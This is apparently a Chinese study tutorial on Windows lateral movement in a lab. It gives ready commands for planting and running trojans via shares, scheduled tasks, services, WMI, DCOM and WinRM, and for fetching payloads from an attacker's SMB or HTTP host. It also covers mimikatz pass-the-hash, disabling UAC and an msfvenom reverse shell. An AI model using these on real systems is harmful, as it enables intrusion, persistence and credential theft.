横向移动中如何文件传输
对目标机器的文件进行读取、下载、上传
网络共享
windows的网络共享功能,可以实现局域网内机器之间的网络共享
提供相关的认证凭据,就可以实现文件共享
windows默认的文件共享包括,C、D、E…..这些磁盘、ADMIN系统目录、IPC(满足进程之间的通信)
查看共享文件
image-20230117180044802
操作
我们主要用到的就是IPC共享
建立IPC共享的条件
1 2 3 4 5
| 开放139端口 #用于共享文件、打印机
开放445端口 #共享文件、打印机
关闭防火墙 #有待证明,下面有讲到
|
建立IPC连接
1
| net use \\ip地址\IPC$ "密码" /user:"用户名"
|
查看C盘文件
如果对方仅仅只开启了IPC文件共享,那么建立IPC连接是可以成功的,但是无法访问文件
连接成功之后就可以上传木马,将本机的木马上传到对方的C盘
1
| copy C:\Users\wo\Desktop\hobbyhorse_x64.exe \\192.168.232.132\C$
|
image-20230117183445671
然后提供创建计划任务或者其他方法来执行文件
计划任务
1
| schtasks /create /tn "计划名字" /tr c:\artifact.exe(执行的进程的绝对路径) /sc once /st 16:11(时间) /s 192.168.10.8 /RU System
|
然后就会返回shell
常用的IPC命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| 查看开启的共享 net share 删除某个共享 net share c$ /del 恢复共享 net share c$=c: 建立共享连接 net use \\192.168.52.143\c$ 123.com /user:administrator 使用域账号建立共享连接 net use \\192.168.52.143\c$ 域账户密码 /user:域名\域账户 查看本机已建立的共享 net use 查看远程主机的文件 dir \\192.168.52.143\c$ dir \\192.168.52.143\c$\xx文件夹 复制文件到主机c盘下 copy 文件名 \\ip\c$ 删除本机所有已建立的连接 net use * /del /y 将c盘映射到本地自定义z盘 net use z: \\ip\c$ 删除映射的磁盘 net use z: /del
|
SMB服务器
SMB服务
1 2
| SMB服务主要功能是 共享 文件、打印机、串行端口、通新 等资源
|
在自己的服务器上,搭建SMB服务
然后将要传输的文件,放到SMB的共享目录,并且指定UNC路径
需要开启SMB匿名共享
然后让目标机器远程加载
利用impacket工具包开启
1 2
| mkdir /root/share python smbserver.py evilsmb /root/share -smb2support
|
windows自带工具
Windows自带的一些工具也是可以进行文件传输的
都是通过下载服务器上面布置的恶意文件,到本地目录下
certutil
是一款Windows管理证书的工具,作为证书服务的一部分安装
支持从网络中下载文件的功能
思路:在目标机器上面执行certutil命令,进行下载服务器上面预先设置的木马文件
1
| certutil -urlcache -split -f 服务器地址 + 保存的地址目录
|
BITSAdmin
win7以后的系统自带bitsadmin工具
用于创建、下载、上传作业
1
| bitsadmin /transfer test 地址 保存目录
|
powershell
这个工具就比较熟悉了
通过创建webclient对象,来实现下载文件
1
| (New-Object Net.WebClient).DownloadFile('地址','保存地址')
|
创建计划任务
在有目标机管理员凭据的前提下,可以使用计划任务
首先建立IPC连接
然后利用IPC连接,来上传木马
最后创建计划任务,来执行木马
命令
1
| schtasks /Create /S 192.168.232.130 /TN Backdoor /SC minute /MO 1 /TR C:\reverse_tcp.exe /RU System /F /U Administrator /p admin123
|
/U /P是在没有建立IPC连接的情况下使用的
/S:指定要连接的系统
/TN:指定要创建的计划任务的名称
/SC:指定计划任务执行频率
/MO:指定计划任务执行周期
/TR:指定计划任务运行的程序路径
/RU:指定计划任务运行的用户权限
/F:如果指定的任务已经存在,则强制创建
然后可以直接执行计划
1
| schtasks /RUN /S ip地址 /I /TN Backdoor
|
也可以通过计划任务来执行主机命令,并且保存结果,然后远程读取
1 2 3
| schtasks /Create /S 192.168.232.130 /TN Backdoor /SC minute /MO 1 /TR :"C:\windows\system32\cmd.exe /c 'whoami > C:\result.txt'" /RU System /f
type \\ip地址\C$\result.txt
|
删除计划
1
| schtasks /Delete /S ip地址 /TN Backdoor /F
|
还有一种创建计划任务的方式就是at
在小于win2012使用,schtasks是在高版本的windows使用的
1
| at \\192.168.3.21 15:47 c:\add.bat
|
删除
1
| at \\192.168.3.21 2 /delete #2是计划任务的id
|
实操失败
攻击机win10
目标机win7 win2008
目标机是域用户
我在win10上面向win7用schtasks写入计划任务无法成功
一直显示拒绝访问
但是IPC可以正常连接,并且正常访问
用at写入命令就可以正常执行
解决方法如下
实操成功
上面的问题已经解决
1 2 3
| schtasks /Create /S 192.168.232.130 /TN Backdoor /SC minute /MO 1 /TR C:\reverse_tcp.exe /RU System /F
schtasks /Create /S 192.168.232.130 /TN Backdoor /SC minute /MO 1 /TR C:\reverse_tcp.exe /RU System /F /U Administrator /p admin123
|
书上说,建立ipc连接之后,是不需要加凭据的
但是
实操是需要加上凭据的,不然一直报错
image-20230202124326341
主要是,目标机器会开启UAC,此时就无法执行计划任务
1
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System #路径下的EnableLUA参数,修改为0,即关闭UAC
|
但是
只要是administrator用户登陆,是否开启UAC,毫无影响
UNC路径加载执行
我们一般的思路都是尝试尽可能的把payload上传到目标机,但是过程肯定是有些艰难的
还有一个思路就是远程执行
UNC路径
1
| \\servername\sharename\directory\filename 其中servername是服务器名、sharename是共享资源的名称、后面就是文件夹和文件
|
简而言之就是网络上的资源,并不是本地资源
操作
比较简单,就是利用UNC路径加载远程资源
自己搭建一个SMB服务器,并且上传payload,SMB需要设置匿名共享
然后创建计划任务,使用UNC加载远程服务器上的payload
kali为smb服务端
kali linux 为msf监听端
win10为已经攻陷的主机
win7为另外一台待横向主机
配置smb服务端
1 2
| mkdir /root/share python smbserver.py evilsmb /root/share -smb2support
|
image-20230202131446915
记得把木马文件放到 /root/share文件夹
配置监听
msf开启监听
image-20230202131604093
win10操作
创建计划任务
1
| schtasks /Create /S 192.168.232.128 /TN Backdoor /SC minute /MO 1 /TR \\192.168.232.152\evilsmb\hobbyhorse_x64.exe /RU System /F /U liukaifeng01 /P admin
|
image-20230202132027206
之后发现主机上线
image-20230202132101178
成功
利用系统服务
创建远程服务
个人觉得和创建计划任务差不多
建立共享连接,向远程主机上传攻击载荷
利用已经建立的ipc连接,来创建系统服务
1
| sc \\192.168.232.128 create Backdoor binpath= "cmd.exe /k E:\hobbyhorse_x64.exe"
|
启动创建的服务
1
| sc \\192.168.232.128 start Backdoor
|
命令执行之后,会显示失败
但是
没关系,还是执行了服务
删除服务
1
| sc \\192.168.232.128 delete Backdoor
|
SCShell
地址
1
| https://github.com/SpiderLabs/SCShell
|
SCShell是一款无文件横向移动工具
需要知道远程主机的管理员凭据和已知的服务
原理
1 2 3
| 通过修改远程主机的服务配置
将已知服务的二进制路径名修改为指定的程序或者攻击载荷,然后重启服务,攻击之后会将修改的路径自动恢复
|
格式
1
| SCShell.exe <target> <service name> <payload> <domain> <username> <password>
|
1
| scshell.exe 192.168.232.135 defragsvc "C:\windows\system32\cmd.exe /c echo ' hello' > c:\windows\temp\hello.txt" administrator admin
|
实操
首先用msf生成payload
image-20230202221003882
记得一定要设置payload为windows的,它默认是python的payload
然后远程加载
1
| SCShell.exe 192.168.232.135 XblAuthManager "C:\Windows\System32\cmd.exe /c C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.232.129:8080/AusSXQGs.sct scrobj.dll" hack admin
|
成功就会上线
但是测试失败
image-20230202221518477
远程桌面利用
需要开启3389端口
判断是否开启远程桌面
1
| reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
|
看结果,若为0,则表示RDP服务启动;若为1,则表示RDP服务禁用
image-20230203203306464
此结果表示禁用
本地开启远程桌面
1 2 3 4 5 6 7 8
| reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
|
开启远程主机的远程桌面连接功能
1
| wmic /Node:192.168.232.135 /User:Administrator /Password:admin RDTOGGLE WHERE ServerName='WIN2016-WEB3' call SetAllowTSConnections 1
|
RDP Hijacking (远程桌面劫持)
大致意思就是,在拥有system权限的前提下,能够不需要凭据,来进行任意的用户切换
即可以不需要密码,就可以登陆主机上拥有的账户
比如,现在我用账户A登陆,且拥有system的权限
寻找其他用户会话
执行上面命令之后,后面是有ID的
这样就可以切换到其他会话
SharpRDP
这是一款开源的工具,其最大的优势在于,横向时,不用设置内网代理
将此工具上传到已经攻陷的主机,然后使用即可
地址
1
| https://github.com/0xthirteen/SharpRDP
|
PsExec
介绍
就是一款远程控制工具
优势
微软官方提供的工具,不怕杀软
具有命令行的交互性
原理
利用SMB,连接到服务端的Admin$共享
然后释放名为psexesvc.exe的文件
注册名字为,PSEXESVC的服务
客户端执行命令时,服务端通过服务,来执行命令然后回显
运行结束之后,会自动删除生成的PSEXESVC服务
简而言之,就是自己创建一个合法的服务,通过这个服务来执行命令
条件
目标机开启Admin$共享
目标机关闭防火墙,或者放行445端口
操作
打开目标机的cmd
1 2 3 4 5
| #普通用户 psexec.exe -accepteula \\192.168.232.135 -u Administrator -p admin -s cmd.exe
#域用户 psexec.exe -accepteula \\192.168.232.135 -u 域名\Administrator -p admin -s cmd.exe
|
image-20230203222323477
impacket工具包和msf里面都有psexec这款工具
impacket
msf
1
| exploit/windows/smb/psexec
|
WMI
WMI是一项windows的核心管理技术
可以管理本地和远程计算机
远程传输会用到两个协议
1 2
| 分布式组件对象模型 DCOM windows远程管理 WinRM
|
横向移动时,一般会用到两个方法
1 2 3
| 通过调用WMI的类方法,进行远程执行
远程部署WMI事件订阅,在特定的事件发生时触发攻击
|
WMI攻击条件
1 2 3
| 远程主机开启WMI,一般是默认开启
远程主机防火墙放行135端口,135端口是WMI的默认端口
|
常规利用方法
远程查询
1 2
| wmic /node:192.168.232.135 /user:Administrator /password:admin process list brief
|
image-20230204105105725
远程创建进程
1 2
| #用cmd执行命令,把结果储存到C:\result.txt wmic /node:192.168.232.135 /user:administrator /password:admin process call create "cmd.exe /c ipconfig > C:\result.txt"
|
image-20230204110805993
WMIC在调用cmd执行命令时,是没有回显的,所以需要写入文件里面
image-20230204110844000
远程安装MSI文件
把恶意的MSI文件放在,SMB服务器上,在跳板机上执行命令,远程执行安装MSI文件
生成MSI恶意文件
1
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.129 LPORT=1111 -f msi -o aaa.msi
|
开启SMB匿名共享
1
| python smbserver.py evilsmb /root/share -smb2support
|
image-20230204113731756
跳板机执行远程安装,加载
1
| wmic /node:192.168.232.135 /user:administrator /password:admin product call install PackageLocation="\\192.168.232.152\evilsmb\aaa.msi"
|
即可收到会话
常见利用工具
wmiexec
执行有回显
属于impacket项目的一个工具
需要135和445端口,其中445端口开启的目的就是传输交互的信息
1 2 3
| python wmiexec.py administrator:admin@192.168.232.135
python wmiexec.py <domain>/<username>:<password>@<ip>
|
用这个是需要安装impacket库的,但是这个库一直被防火墙拦截
image-20230204125300686
当然,如果跳板机没有python环境,也可以打包成exe文件
1 2 3 4 5
| pip install pyinstaller
cd impacket\examples
pyinstaller -F wmiexec.py
|
exe文件的用法和py一样
Invoke-WmiCommand
Invoke-WmiCommand.ps1是powersploit的一个脚本
通过powershell来执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| IEX(New-Object Net.Webclient).DownloadString('http://IP地址:端口/Invoke-WmiCommand.ps1')
$User = "域名\用户名"
$Password = ConvertTo-SecureString -String "密码" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
$Remote = Invoke-WmiCommand -Payload {ipconfig命令} -Credential $Cred -ComputerName "192.168.232.135"
$Remote.PayloadOutput
|
用python开启一个http服务,来远程加载Invoke-WmiCommand.ps1
测试无法成功
WMI事件订阅的利用
主要用于权限维持,也可以用于横向
介绍
WMI的事件处理功能及其强大,几乎可以对操作系统上发生的任何事情做出响应
WMI事件订阅主要包括两大板块:事件过滤器(event filter)、事件消费者(event consumer)
1 2 3 4 5 6
| 当创建一个进程时 通过WMI事件订阅来执行预先设置的特定脚本
触发事件的具体条件称为“事件过滤器”
对指定事件发生所作出的响应称为“事件消费者”
|
所有的事件过滤器被存储在一个ROOT\subscription:_ _EventFilter对象的实例
通过创建_ _EventFilter对象实例来部署事件过滤器
事件消费者是基于ROOT\subscription:_ _EventConsumer系统派生来的类
部署事件订阅时,需要分别构建Filter和Consumer,并将二者绑在一起
使用该技术需要提供远程主机的管理员的用户凭据
手动利用
Sharp-WMIEvent
这是利用写好的powershell脚本,比手工利用更加方便
首先搭建SMB共享服务,将攻击载荷上传在共享目录
image-20230206230317392
然后在跳板机执行如下命令
1
| Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName 192.168.232.135 -Domain aaa -User Administrator -Password admin -Command "cmd.exe / c \\192.168.232.152\evilsmb\hobbyhorse_x64.exe"
|
执行之后,在远程主机上会部署一个随机命名的永久事件订阅,并每隔60秒执行一次SMB共享中的载荷,使远程主机上线
DCOM的利用
COM和DCOM
com(组件对象模型)
com是微软的一套软件组件的二进制接口标准
实现跨编程语言的进程直接可以通信,可以创建动态对象
允许代码重用而无需编译
COM 中的组件是特定于平台的二进制文件,符合标准的应用程序和其他组件可以使用
使用组件服务的程序包含指向其标准化接口的指针,而不是访问组件的底层数据结构。因此,无论组件如何工作或使用何种语言编写,组件都可以相互通信
dcom(分布式组件对象模型)
dcom是com的扩展
dcom是基于com的一系列概念和程序接口
支持不同机器上的组件进行通信
可以是客户端程序对象能够请求来自网络中的另一台计算机上的服务器程序对象
可以允许应用程序实例化和访问远程计算机上的com对象
1
| DCOM使用远程过程调用技术(RPC)将COM的功能扩展到本地计算机之外
|
综上能进行横向的就只能是DCOM
DCOM横向移动
不是说DCOM支持远程访问就能够进行横向
真正的是因为
常用包含不安全方法的组件
1 2 3 4 5 6 7
| MMC20.Application
Excel.Application
ShellWindows
ShellBrowserWindow
|
查看计算机上所有的DCOM程序组件
1 2 3
| Get-CimInstance Win32_DCOMApplication
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
|
image-20230207115402041
条件
从上面的命令可以看出,DCOM组件的横向利用,是需要powershell的
1 2 3
| 拥有管理器权限的powershell
未开启防火墙
|
MMC20.Application
MMC20.Application对象的Document.ActiveView下存在一个ExecuteShellCommand方法
可以用来启动子进程并运行执行的程序或系统命令
1 2 3
| 原理就是MMC20.Application会启动一个进程aaa.exe
ExecuteShellCommand可以在进程中创建子进程,子进程就可以是我们的攻击载荷
|
适用于win7及其以上版本
首先搭建SMB匿名共享,然后放入后门文件
1
| python smbserver.py evilsmb /root/share -smb2support
|
现在需要对方主机的管理员权限的powershell
1 2 3 4
| runas /netonly /user:aaa\administrator powershell
a'a'a:对方主机电脑名 (可省略) administrator:管理员组的用户的用户名
|
输入之后需要对方管理员的凭据
image-20230207142522182
然后执行如下命令
1 2 3 4 5
| #通过ProgID与DCOM进行远程交互 $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.232.136"))
#调用ExecuteShellCommand方法启动进程,运行攻击载荷 $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c\\192.168.232.152\evilsmb\hobbyhorse_x64.exe", "minimized")
|
ShellWindows
shellwindows这个组件提供了Document.Application.ShellExecute方法
可以启动指定的子进程来运行指定的程序或系统命令
ShellWindows对象没有ProgID,需要使用CLSID来创建实例
需要使用OleViewDotNet来找到CLSID
1
| 9BA05972-F6A8-11CF-A442-00A0C90A8F39
|
image-20230207194006281
和MMC20.Application差不多,也是需要对方的管理员权限的powershell
1 2 3 4
| runas /netonly /user:aaa\administrator powershell
aaa:对方主机电脑名 (可省略) administrator:管理员组的用户的用户名
|
然后弹出拥有对方管理员权限的powershell
然后
1 2 3 4 5
| #建立远程交互 $com = [Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39', "192.168.232.137"))
#调用shellexecute方法启动子进程,远程开启计算机程序 $com.Item().Document.Application.ShellExecute("cmd.exe","/c calc.exe", "C:\Windows\System32", $null,0)
|
image-20230207202751398
也可以通过SMB服务,进行远程执行恶意文件
修改这一项即可
image-20230207202909382
1
| $com.Item().Document.Application.ShellExecute("cmd.exe","/c \\192.168.232.152\evilsmb\hobbyhorse_x64.exe", "C:\Windows\System32", $null,0)
|
image-20230207202953150
总结
不同与MMC20.Application的是,ShellWindows并不会创建新进程,而是在已有的explorer.exe进程中创建并且执行子进程
ShellBrowserWindow
同ShellWindows一样,也是调用Document.Application.ShellExecute方法,在explorer.exe进程下创建子进程
不同的是
它只适用于windows 10和windows server 2012
WinRM的利用
介绍
WinRM是通过一个叫WS-Management协议,来实现远程管理的
WS-Management协议
1 2 3 4 5
| 用来进行远程软硬件管理的web服务协议
在同一个网络内,允许两台计算机相互通信
对应5985端口
|
只要启动了服务,防火墙就会放行对应的端口,不会阻拦
在windows server 2008以上WinRM是默认开启的
Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认关闭WinRM服务
需要管理员的凭据
通过WinRM执行远程命令
要用到两个工具winrs、winrm
在首次用到这两个工具时,需要设置信任
将目标ip设置为信任ip,添加到信任列表
设置信任列表的前提是需要把跳板机网络连接改为专用网络,否则无法开启(这一点在本地测试时要注意,但是在实际的环境中,一般都是域,无需过多注意)
1 2 3 4 5 6 7 8 9 10
| winrm quickconfig -q
winrm set winrm/config/client @{TrustedHosts="ip地址"}
Set-Item WSMan:localhost\client\trustedhosts -value *
其中IP地址可以设置为*,表示信任任何ip
|
winrs
winrs是WinRM提供的客户端程序,在双方都开启WinRM服务的前提下,可以远程执行命令
1 2 3 4
| winrs -r:http://192.168.232.137:5985 -u:administrator -p:admin "whoami"
winrs -r:http://192.168.232.137:5985 -u:administrator -p:admin "cmd"
|
微软官方给出的建议
1
| https://learn.microsoft.com/zh-cn/troubleshoot/windows-client/system-management-components/errors-when-you-run-winrm-commands
|
image-20230207231306921
image-20230208190054019
winrm.cmd
winrm.cmd运行WMI对象通过WinRM传输进行远程交互,在本地或者远程计算机上枚举WMI对象实例或调用WMI类方法
调用WMI的win32_process类中的create方法来创建进程
1
| winrm invoke Create wmicimv2/Win32_Process @{CommandLine="calc.exe"} -r:http://192.168.8.1:5985 -u:administrator -p:ADMIN!@
|
image-20230208191821182
image-20230208191918882
WinRM获取交互式会话
powershell的远程传输协议是基于WinRM的
Enter-PSSession的PowerShell Cmdlet可以启动和远程主机的会话
创建会话
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $User = "administrator"
$Password = ConvertTo-SecureString -String "ADMIN!@#45" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
New-PSSession -Name Test -ComputerName 192.168.8.1 -Credential $Cred -Port 5985
|
image-20230208194112653
查看存在的所有会话
image-20230208194357863
选择会话
1
| Enter-PSSession -Name Test
|
image-20230208194459781
这样就成功了
也可以使用Invoke-Command
1 2 3 4 5 6 7 8 9
| $User = "域名\用户名"
$Password = ConvertTo-SecureString -String "ADMIN!@#45" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
$Sess = New-PSSession -Name Test1 -ComputerName 192.168.8.1 -Credential $Cred -Port 5985
Invoke-Command -Session $Sess -ScriptBlock {whoami}
|
image-20230208195219772
成功
总结
利用WinRM进行横向移动,最出色的地方在于,服务是windows自己提供的,开启服务就不会被防火墙拦截
其次是所利用的工具组件,都是Windows自带的,不用做免杀,除非EDR拦截了winrs.exe
哈希传递攻击
在windows server 2000之后,在windows中密码都用hash值保存,想要获取明文密码是比较困难的
获取到hash值密码之后,想要得到明文,是比较困难的,因为hash算法是一个单向的算法,不可逆
但是
hash值也是可以暴力破解的
哈希传递攻击的利用
主要是mimikatz和impacket工具包里面的工具
其次就是crackmapexec、powershell、evil-winrm、metasploit框架工具等等
Mimikatz
需要具备本地管理员权限
地址
1
| https://github.com/gentilkiwi/mimikatz
|
首先需要将mimikatz上传到目标主机
然后执行
1
| mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
|
得到本地主机的管理员账户hash值
image-20230208211118148
再进行尝试进行传递,可能其他主机也是这个密码
就是碰运气去试账号密码
1
| mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:sayms /ntlm:5b56663cfe976a8b6a841ff7c1abcee1" exit
|
Impacket
常用的几个是psexec.py、smbexec.py、wmiexec.py
当然如果跳板机有python环境就不错,如果没有,可以把python文件打包为exe文件,也是可以执行的
1 2 3 4 5 6 7
| #打包python文件为exe
pip install pyinstaller
cd impacket\examples
pyinstaller -F wmiexec.py
|
也可以通过内网代理技术,代理到kali
以smbexec.py为例,其他两个的用法大同小异
smbexec.py
打包为exe文件
exe文件地址
1
| impacket-master\examples\dist
|
使用
1
| smbexec.exe -hashes :5b56663cfe976a8b6a841ff7c1abcee1 sayms/administrator@192.168.8.1
|
image-20230208214117812
就算开启防火墙,也是可以进行使用的
哈希传递登陆远程桌面
条件
远程主机开启了“受限管理员模式”
1 2 3 4
| windows server 2012r2及其以上版本支持受限管理员模式 开启此模式,可以使用hash值进行远程登录,不需要明文密码
此模式在win8.1和windows server 2012r2中默认开启
|
使用的用户凭据处于管理员组
hash值
操作
开启受限管理员模式
1 2 3 4 5
| reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
|
开启之后,使用mimikatz进行hash传递,然后执行“mstsc.exe /restrictedadmin”
1
| mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:sayms /ntlm:5b56663cfe976a8b6a841ff7c1abcee1" "/run:mstsc.exe /restrictedadmin"
|
远程执行漏洞
一些远程执行漏洞,也可以用来横向
比如
1 2 3 4 5
| 永恒之蓝 ms17-010
cve-2019-0708
ms08-067
|